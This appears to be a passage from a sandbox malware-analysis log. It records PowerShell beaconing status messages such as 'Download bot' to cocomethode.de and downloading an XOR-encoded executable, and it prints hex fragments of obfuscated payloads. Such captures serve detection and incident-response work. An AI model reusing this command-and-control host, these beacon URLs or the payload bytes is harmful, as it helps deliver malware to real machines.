%vnuemnpf<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#S0qnXjiNcDuUPkeDTV8oRTOC[0TvWjqUSVSXWFrySWWUPVmTcUjvRT[JLVKuOYChcVOoT0b1[3SI`ICkdTKrXl4`bFOuNYS`W{TvRVbvR1mEPVeKS0X1XWiSO1SSbEmDTV8NP30`LVKuUkCiW{m0RTWNelKtVlykcmG1Tl0rb
2024-12-11 11:14:28 UTC	1369	IN	Data Raw: 75 69 54 32 4f 78 52 30 4f 42 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 73 56 6c 30 72 62 30 71 57 52 6b 57 6a 53 30 5b 37 57 32 6d 52 62 47 69 55 50 55 6d 4b 50 30 4b 75 58 57 65 35 63 47 47 74 63 45 43 60 56 44 34 68 52 6a 65 72 5b 44 6d 45 4c 56 6d 6d 53 7b 6d 34 52 54 4f 52 56 56 48 7b 52 6a 79 60 56 46 75 4e 50 33 6d 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 5b 6d 44 76 52 31 53 53 63 33 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 55 56 65 56 4c 31 71 76 5b 44 65 57 5b 33 53 49 60 46 79 4b 53 30 5b 30 56 55 4f 4a 4f 56 4f 48 54 6c 79 60 50 7b 6d 73 56 6d 65 4e 64 56 57 58 50 6b 43 60 57 30 47 6f 56 56 34 72 4c 47 71 58 55 56 65 6a 53 7b 69 6f 5b 44 65 6e 63 44 6d 49 4e 55 47 6a 52 44 48 79 5b 44 4f 42 63 56 47 59 64 Data Ascii: uiT2OxR0OBO1SSc3eKP1GoRTOC[1mEPVeKP1GsVl0rb0qWRkWjS0[7W2mRbGiUPUmKP0KuXWe5cGGtcEC`VD4hRjer[DmELVmmS{m4RTORVVH{Rjy`VFuNP3mC[1mEPVeKP1Go[mDvR1SSc3eKP1GoRTOC[1mEUVeVL1qv[DeW[3SI`FyKS0[0VUOJOVOHTly`P{msVmeNdVWXPkC`W0GoVV4rLGqXUVejS{io[DencDmINUGjRDHy[DOBcVGYd
2024-12-11 11:14:28 UTC	1369	IN	Data Raw: 4a 63 46 53 48 52 6f 43 60 56 44 30 6f 55 47 65 46 65 57 71 45 50 59 53 68 63 55 6a 76 52 54 4f 52 60 33 48 7b 5b 49 57 68 53 7b 6d 6e 56 6a 5b 4e 4c 57 6a 78 55 6c 79 60 57 30 4b 72 56 6a 4f 73 5b 33 57 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6b 43 6b 63 6c 75 6f 5b 59 62 76 52 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 64 54 4b 44 58 54 65 56 60 6c 47 34 50 6f 43 60 60 54 48 76 58 54 65 57 5b 30 71 49 57 6f 71 6a 53 33 79 30 56 57 69 52 62 46 48 78 4f 46 65 60 63 56 79 7b 56 6d 4f 42 60 46 4b 48 52 6c 79 5b 57 30 48 30 52 54 65 56 4f 46 47 58 55 6b 43 6b 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 33 47 59 56 56 65 4d 53 6d 4b 72 58 7b 4f 53 65 47 57 49 53 6b 43 69 50 31 47 31 57 54 Data Ascii: JcFSHRoC`VD0oUGeFeWqEPYShcUjvRTOR`3H{[IWhS{mnVj[NLWjxUly`W0KrVjOs[3W2LDuKP1GoRTOC[1mEPkCkcluo[YbvR1mEPVeKP1GoRTOC[1mEPVeKdTKDXTeV`lG4PoC``THvXTeW[0qIWoqjS3y0VWiRbFHxOFe`cVy{VmOB`FKHRly[W0H0RTeVOFGXUkCke{CMRTOC[1mEPVeKP1GoRTOC[3GYVVeMSmKrX{OSeGWISkCiP1G1WT
2024-12-11 11:14:28 UTC	1161	IN	Data Raw: 53 30 5b 73 55 33 6d 43 60 33 53 49 57 6f 53 6b 53 57 71 76 58 6a 65 57 60 54 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 54 6c 75 68 4c 33 53 30 58 6a 62 34 60 47 71 46 55 6b 47 5b 4c 6a 34 72 56 6d 65 52 63 47 71 45 50 55 6d 4b 53 54 34 33 58 6c 34 60 63 46 4f 74 54 59 53 52 63 56 79 7b 56 6d 5b 6a 62 46 53 49 60 47 6d 68 4c 31 6d 6f 55 47 57 72 65 56 4f 48 57 6b 43 52 63 56 79 7b 56 6d 5b 42 60 46 53 49 5b 33 65 4a 52 47 4b 72 58 6d 69 42 53 33 47 59 64 46 79 4b 50 7b 47 50 5b 47 69 52 65 33 53 58 54 6a 65 69 57 32 69 72 57 54 65 46 4c 46 47 45 50 56 75 60 53 30 5b 37 5b 44 65 72 65 57 6d 58 54 6f 43 68 4c 6b 53 6f 55 47 5b 6e 65 6c 4f 73 65 46 79 6d 54 31 47 35 55 32 62 76 52 31 6d 45 50 56 65 Data Ascii: S0[sU3mC`3SIWoSkSWqvXjeW`T82LDuKP1GoRTOC[1mEPVeKP1GoRTOC[1mETluhL3S0Xjb4`GqFUkG[Lj4rVmeRcGqEPUmKST43Xl4`cFOtTYSRcVy{Vm[jbFSI`GmhL1moUGWreVOHWkCRcVy{Vm[B`FSI[3eJRGKrXmiBS3GYdFyKP{GP[GiRe3SXTjeiW2irWTeFLFGEPVu`S0[7[DereWmXToChLkSoUG[nelOseFymT1G5U2bvR1mEPVe
2024-12-11 11:14:29 UTC	1369	IN	Data Raw: 46 47 59 64 46 79 60 50 32 65 6f 58 57 62 30 60 6c 4f 75 57 6f 53 60 57 7b 54 76 52 54 69 52 63 30 71 55 50 6f 6d 60 56 47 4b 34 5b 57 4f 42 60 6c 48 7b 57 6f 57 6a 50 31 4b 6e 58 6c 30 53 5b 33 50 78 53 6f 43 6a 50 31 4b 71 56 6d 65 60 65 6c 4f 75 57 56 65 6b 63 57 58 76 58 33 34 72 62 46 4b 75 58 31 34 45 60 54 47 6f 52 54 4f 43 5b 31 6d 45 50 56 65 69 57 30 6d 6f 52 31 4c 79 65 56 48 7b 54 56 65 4a 53 30 4b 33 5b 45 48 30 62 33 48 78 53 6c 75 57 4c 30 5b 70 56 55 4b 56 63 47 71 49 57 6c 75 4d 54 31 48 32 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 56 75 6b 63 57 58 76 58 33 34 72 53 46 48 7b 57 6f 57 6a 50 32 4f 78 53 47 47 77 5b 31 6d 45 50 56 65 4b 50 31 47 6f 52 54 4f 43 5b 31 6d 45 50 6f 43 60 60 54 47 77 52 6a 69 4a Data Ascii: FGYdFy`P2eoXWb0`lOuWoS`W{TvRTiRc0qUPom`VGK4[WOB`lH{WoWjP1KnXl0S[3PxSoCjP1KqVme`elOuWVekcWXvX34rbFKuX14E`TGoRTOC[1mEPVeiW0moR1LyeVH{TVeJS0K3[EH0b3HxSluWL0[pVUKVcGqIWluMT1H2SGGw[1mEPVeKP1GoRTOC[1mEPVukcWXvX34rSFH{WoWjP2OxSGGw[1mEPVeKP1GoRTOC[1mEPoC``TGwRjiJ
2024-12-11 11:14:29 UTC	1369	IN	Data Raw: 31 30 55 6c 30 4f 4c 31 30 75 57 59 65 60 53 31 71 72 55 30 53 4f 64 47 71 44 5b 32 69 5b 64 6a 31 31 55 56 6d 4b 5b 31 79 59 54 6c 79 6b 4c 30 4b 76 58 6c 30 46 4c 46 47 59 4e 59 57 4b 50 31 71 44 55 33 79 35 56 46 47 59 4f 56 75 68 4c 33 53 37 56 44 5b 52 63 46 4b 58 50 6c 4f 6b 4c 30 71 70 5b 56 75 6e 65 6c 4c 7b 54 59 57 60 56 46 69 72 52 56 71 7b 55 6a 4f 72 55 6a 5b 55 57 56 69 48 57 6b 40 30 55 6d 4b 46 53 56 65 4b 63 54 5b 73 56 6a 4f 42 4c 47 6d 58 55 6f 4b 4b 60 6f 4f 4e 50 33 6d 52 60 47 6a 7b 54 6f 43 68 4c 6b 53 6f 54 47 4f 42 55 30 71 58 58 32 53 57 4c 6a 34 77 56 6d 65 52 4c 56 4b 49 57 6c 75 56 53 31 5b 37 58 55 43 46 60 6c 53 49 63 49 5b 68 60 54 47 31 54 6d 69 6e 63 47 6a 7b 57 6b 43 60 54 31 47 71 54 59 71 76 58 30 58 78 63 49 57 60 53 Data Ascii: 10Ul0OL10uWYe`S1qrU0SOdGqD[2i[dj11UVmK[1yYTlykL0KvXl0FLFGYNYWKP1qDU3y5VFGYOVuhL3S7VD[RcFKXPlOkL0qp[VunelL{TYW`VFirRVq{UjOrUj[UWViHWk@0UmKFSVeKcT[sVjOBLGmXUoKK`oONP3mR`Gj{ToChLkSoTGOBU0qXX2SWLj4wVmeRLVKIWluVS1[7XUCF`lSIcI[h`TG1TmincGj{WkC`T1GqTYqvX0XxcIW`S
2024-12-11 11:14:29 UTC	1369	IN	Data Raw: 53 63 31 34 45 60 7b 57 44 57 54 57 76 57 6d 4b 57 4e 57 43 59 57 54 54 32 53 47 47 77 51 50 3c 3c 23 28 28 3a 0b 25 60 64 76 7b 7b 63 66 71 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 52 6a 65 6a 62 33 48 78 52 6c 69 68 53 49 43 44 54 57 57 56 53 57 53 57 65 47 65 57 63 44 71 47 52 54 50 76 5b 30 47 45 5b 32 43 51 65 7b 43 4d 53 47 47 76 63 56 53 59 4f 56 71 6a 53 33 79 33 58 6c 6d 42 55 30 44 79 50 6a 75 56 57 57 5b 50 57 45 47 72 50 6a 53 53 62 45 65 44 54 56 38 6f 52 54 4f 43 5b 31 71 49 60 46 79 5b 57 30 4b 72 58 33 34 4f 5b 30 43 55 50 6a 47 6d 4c 7b 40 32 53 47 47 Data Ascii: Sc14E`{WDWTWvWmKWNWCYWTT2SGGwQP<<#((:%`dv{{cfq<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#Rjejb3HxRlihSICDTWWVSWSWeGeWcDqGRTPv[0GE[2CQe{CMSGGvcVSYOVqjS3y3XlmBU0DyPjuVWW[PWEGrPjSSbEeDTV8oRTOC[1qI`Fy[W0KrX34O[0CUPjGmL{@2SGG
2024-12-11 11:14:29 UTC	1369	IN	Data Raw: 44 4b 6e 58 33 30 46 65 44 75 45 50 6c 4b 57 53 6a 34 50 56 56 30 76 63 47 6a 7b 54 6c 53 4b 50 30 4b 7b 58 6b 4b 6a 55 6c 4c 78 58 33 65 4d 54 55 43 4d 53 47 47 77 5b 31 6d 45 50 56 65 4b 64 54 4b 44 58 6b 48 30 4c 6d 71 58 52 6b 43 4b 53 31 71 33 56 6a 69 73 5b 33 53 49 4e 46 65 6b 4c 30 4b 34 58 57 62 30 63 6a 53 53 63 33 65 4b 50 31 47 6f 52 6a 69 4e 4c 46 4f 75 63 49 57 60 4c 44 71 33 56 6a 69 73 5b 30 43 55 50 6c 4b 6b 4c 30 4b 34 58 57 62 30 63 6d 69 55 5b 33 75 68 53 7b 6d 74 57 47 69 4e 63 6a 6d 48 65 33 65 53 4c 6b 6d 30 5b 46 30 56 64 56 53 46 54 6f 5b 4c 57 59 43 37 58 6b 48 31 62 44 38 32 4c 44 75 4b 50 31 47 6f 52 54 69 6a 64 56 47 58 54 6c 79 4c 57 33 69 33 58 7b 4f 53 5b 31 71 48 55 6b 43 6b 63 56 79 30 56 6b 43 4a 65 6d 71 48 60 7b 65 44 Data Ascii: DKnX30FeDuEPlKWSj4PVV0vcGj{TlSKP0K{XkKjUlLxX3eMTUCMSGGw[1mEPVeKdTKDXkH0LmqXRkCKS1q3Vjis[3SINFekL0K4XWb0cjSSc3eKP1GoRjiNLFOucIW`LDq3Vjis[0CUPlKkL0K4XWb0cmiU[3uhS{mtWGiNcjmHe3eSLkm0[F0VdVSFTo[LWYC7XkH1bD82LDuKP1GoRTijdVGXTlyLW3i3X{OS[1qHUkCkcVy0VkCJemqH`{eD
2024-12-11 11:14:29 UTC	1369	IN	Data Raw: 71 58 58 32 53 55 56 47 4b 72 58 6d 4f 43 65 47 57 49 53 6b 43 69 50 31 47 73 56 6c 30 72 62 30 71 56 50 6c 69 6a 53 33 65 6f 55 47 57 72 4c 47 71 59 4c 57 57 6d 56 44 4b 72 52 54 57 60 62 46 4b 49 57 56 65 4c 57 57 71 33 58 33 30 4e 63 44 6d 48 65 33 65 54 4c 30 58 76 55 47 54 30 4c 56 4b 49 65 31 34 45 5b 7b 43 4d 52 54 4f 43 5b 31 6d 45 55 56 65 54 4c 30 58 76 58 31 69 56 4c 44 6d 48 54 6c 38 60 54 31 4b 75 58 57 65 35 63 44 6d 48 50 6c 69 6a 53 33 65 4e 50 33 6d 43 5b 31 6d 45 50 6d 53 52 57 56 79 4b 54 6b 47 6a 55 30 53 57 54 6d 4b 4b 50 31 71 46 58 6d 69 42 4c 46 57 55 50 6c 30 69 57 32 69 72 52 54 65 4e 64 57 71 59 53 6b 43 60 57 30 47 6f 56 57 69 53 4f 6a 6d 45 54 6c 30 69 57 32 69 72 57 54 65 46 4c 46 47 45 52 54 34 45 5b 7b 43 4d 52 54 4f 43 5b Data Ascii: qXX2SUVGKrXmOCeGWISkCiP1GsVl0rb0qVPlijS3eoUGWrLGqYLWWmVDKrRTW`bFKIWVeLWWq3X30NcDmHe3eTL0XvUGT0LVKIe14E[{CMRTOC[1mEUVeTL0XvX1iVLDmHTl8`T1KuXWe5cDmHPlijS3eNP3mC[1mEPmSRWVyKTkGjU0SWTmKKP1qFXmiBLFWUPl0iW2irRTeNdWqYSkC`W0GoVWiSOjmETl0iW2irWTeFLFGERT4E[{CMRTOC[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49772	172.67.128.139	443	8300	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:29 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 140
2024-12-11 11:14:29 UTC	140	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 6e 69 6e 67 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 45 6d 70 74 79 20 66 69 6c 65 20 63 72 65 61 74 65 64 20 61 74 3a 20 43 3a 5c 5c 5c 5c 55 73 65 72 73 5c 5c 5c 5c 41 72 74 68 75 72 5c 5c 5c 5c 41 70 70 44 61 74 61 5c 5c 5c 5c 4c 6f 63 61 6c 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 65 6d 70 74 79 2e 74 78 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"running\"", "\"Empty file created at: C:\\\\Users\\\\user\\\\AppData\\\\Local\\\\Temp\\\\empty.txt\"", "----------"]
2024-12-11 11:14:30 UTC	1200	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:30 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dm%2BE5FUuFlWE18oGd5LPz6k4l2xdEAYBq2QBZWfAVuM57v%2BLryvpqBNmQEodBt%2FbdULiuXGaCX2JqWZPFkADhPWBJKu4ZS2mVsoKG2gvcSEcQNLCwPJtiG9D83%2FDU43heZhWZ1mUjVRd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=46598&min_rtt=1094&rtt_var=16323&sent=8121&recv=3713&lost=0&retrans=0&sent_bytes=11526111&recv_bytes=84294&delivery_rate=20463611&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d283b88454e-ATL server-timing: cfL4;desc="?proto=TCP&rtt=40&min_rtt=40&rtt_var=16&sent=5&recv=7&lost=0&retrans=0&sent_bytes=986&recv_bytes=1346&delivery_rate=1393255319&cwnd=190&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=46&min_rtt=44&rtt_var=21&sent=5&recv=7&lost=0&retrans=0&sent_bytes=1183&recv_bytes=1325&delivery_rate=1023171875&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:30 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 34 32 35 31 26 6d 69 6e 5f 72 74 74 3d 31 31 34 31 39 35 26 72 74 74 5f 76 61 72 3d 32 34 31 37 34 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 35 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 38 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 34 39 35 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 39 30 66 31 66 34 31 30 64 30 31 30 33 35 30 33 26 74 73 3d 35 38 38 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=114251&min_rtt=114195&rtt_var=24174&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1085&delivery_rate=33495&cwnd=251&unsent_bytes=0&cid=90f1f410d0103503&ts=588&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49775	172.67.128.139	443	8300	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:41 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 69
2024-12-11 11:14:41 UTC	69	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 53 6c 65 65 70 20 31 30 73 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 62 6f 74 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Sleep 10s\"", "\"Download bot\"", "----------"]
2024-12-11 11:14:41 UTC	1196	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:41 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UJhtwR6amWJ35r41NrwEpAsc8hEopY9bBeX9%2FKhUxbIPptZZ6zIQQRjn%2FIFPqAVgf6vi3DAWMTMExoqGVgVz%2FzXtaTRaewrHvWOrLeRfM1poPqyyg2qdLwW3ld184dMoDUnvA%2BgHnuxE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=28029&min_rtt=1115&rtt_var=23173&sent=696&recv=1057&lost=0&retrans=0&sent_bytes=89913&recv_bytes=940846&delivery_rate=15573333&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d71281a455d-ATL server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=44&rtt_var=18&sent=5&recv=7&lost=0&retrans=0&sent_bytes=983&recv_bytes=1303&delivery_rate=1283980392&cwnd=226&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=45&min_rtt=44&rtt_var=19&sent=5&recv=7&lost=0&retrans=0&sent_bytes=1179&recv_bytes=1279&delivery_rate=1212648148&cwnd=53&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:41 UTC	627	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 35 35 26 6d 69 6e 5f 72 74 74 3d 35 33 26 72 74 74 5f 76 61 72 3d 32 31 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 31 33 37 36 26 72 65 63 76 5f 62 79 74 65 73 3d 31 32 35 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 32 33 35 35 32 38 33 30 31 26 63 77 6e 64 3d 32 33 34 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 33 26 6d Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=55&min_rtt=53&rtt_var=21&sent=5&recv=7&lost=0&retrans=0&sent_bytes=1376&recv_bytes=1251&delivery_rate=1235528301&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=43&m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49776	172.67.128.139	443	8300	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:42 UTC	333	OUT	GET /file2/30bb492ec87899a2b4a8fa5c9eeec469631d83b6fb1545c37afc33eb58d196c823652f529529d9c5cc3350ab521dfddbe2a77c01bd1692f0dae16e5e78590d23aa42283bc9f003b0925ef770ce3dbb430044380316b396c72e0dbe931d81c382 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:14:42 UTC	1317	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:42 GMT Content-Type: application/octet-stream Content-Length: 8357376 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wrlECRR8aOEZjDgTFRmbf6KJFiOvApsO7O5uqVd0hA7lEymuP%2BShLMZqA4UKhuEosZpJyybi9NOYedjKOwuuayzglKurqYaFNB8ukV412kbINTnSS8Yg14OUnR%2BQi69D31CphtIFx9UY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=32772&min_rtt=1115&rtt_var=26866&sent=698&recv=1059&lost=0&retrans=0&sent_bytes=90689&recv_bytes=941814&delivery_rate=15573333&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050d769e698832-ATL server-timing: cfL4;desc="?proto=TCP&rtt=51&min_rtt=45&rtt_var=16&sent=10&recv=12&lost=0&retrans=0&sent_bytes=15211&recv_bytes=2781&delivery_rate=1423543478&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=53&min_rtt=40&rtt_var=31&sent=7&recv=9&lost=0&retrans=0&sent_bytes=14621&recv_bytes=2070&delivery_rate=1056177419&cwnd=126&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:42 UTC	430	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 39 26 6d 69 6e 5f 72 74 74 3d 32 37 26 72 74 74 5f 76 61 72 3d 31 38 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 31 33 36 34 31 26 72 65 63 76 5f 62 79 74 65 73 3d 31 32 30 38 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 34 32 35 32 39 36 32 39 36 26 63 77 6e 64 3d 31 38 37 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=49&min_rtt=27&rtt_var=18&sent=5&recv=7&lost=0&retrans=0&sent_bytes=13641&recv_bytes=1208&delivery_rate=2425296296&cwnd=187&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=113
2024-12-11 11:14:42 UTC	991	IN	Data Raw: 4c 5b 91 01 02 01 01 01 05 01 01 01 fe fe 01 01 b9 01 01 01 01 01 01 01 41 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 e9 01 01 01 0f 1e bb 0f 01 b5 08 cc 20 b9 00 4d cc 20 55 69 68 72 21 71 73 6e 66 73 60 6c 21 62 60 6f 6f 6e 75 21 63 64 21 73 74 6f 21 68 6f 21 45 4e 52 21 6c 6e 65 64 2f 0c 0c 0b 25 01 01 01 01 01 01 01 ac bf 76 f8 e8 de 18 ab e8 de 18 ab e8 de 18 ab e1 a6 8b ab e6 de 18 ab 98 5f 19 aa fb de 18 ab e8 de 19 ab 98 df 18 ab f8 5a 1b aa fa de 18 ab f8 5a 1c aa d1 de 18 ab e8 de 18 ab e9 de 18 ab f8 5a 1d aa 9e de 18 ab a0 5b 18 aa e9 de 18 ab a0 5b 1a aa e9 de 18 ab 53 68 62 69 e8 de 18 ab 01 01 01 01 01 01 01 01 51 44 01 01 65 87 09 01 99 0f 59 66 01 01 01 01 01 01 01 01 f1 01 23 Data Ascii: L[A M Uihr!qsnfs`l!b`oonu!cd!sto!ho!ENR!lned/%v_ZZZ[[ShbiQDeYf#
2024-12-11 11:14:42 UTC	1369	IN	Data Raw: 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 49 8c 04 e8 e4 4f 01 49 8c 0c db e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c2 d9 25 01 49 8c 04 e5 e4 4f 01 49 8c 0c d4 e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 d9 25 01 49 8c 04 06 e7 4f 01 49 8c 0c f9 e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 88 d9 25 01 49 8c 04 0b e7 4f 01 49 8c 0c fa e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 6d d9 25 01 49 8c 04 fc e4 4f 01 49 8c 0c ef e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 4e d9 25 01 49 8c 04 19 e7 4f 01 49 8c 0c 08 e7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 33 d9 25 01 49 8c 04 0a e7 4f 01 49 8c 0c fd e4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 14 d9 25 01 49 8c 04 ff e4 4f 01 49 8c 0c ee e4 4f 01 49 82 38 01 74 Data Ascii: IOIOI8tI%IOIOI8tI%IOIOI8tI%IOIOI8tIm%IOIOI8tIN%IOIOI8tI3%IOIOI8tI%IOIOI8t
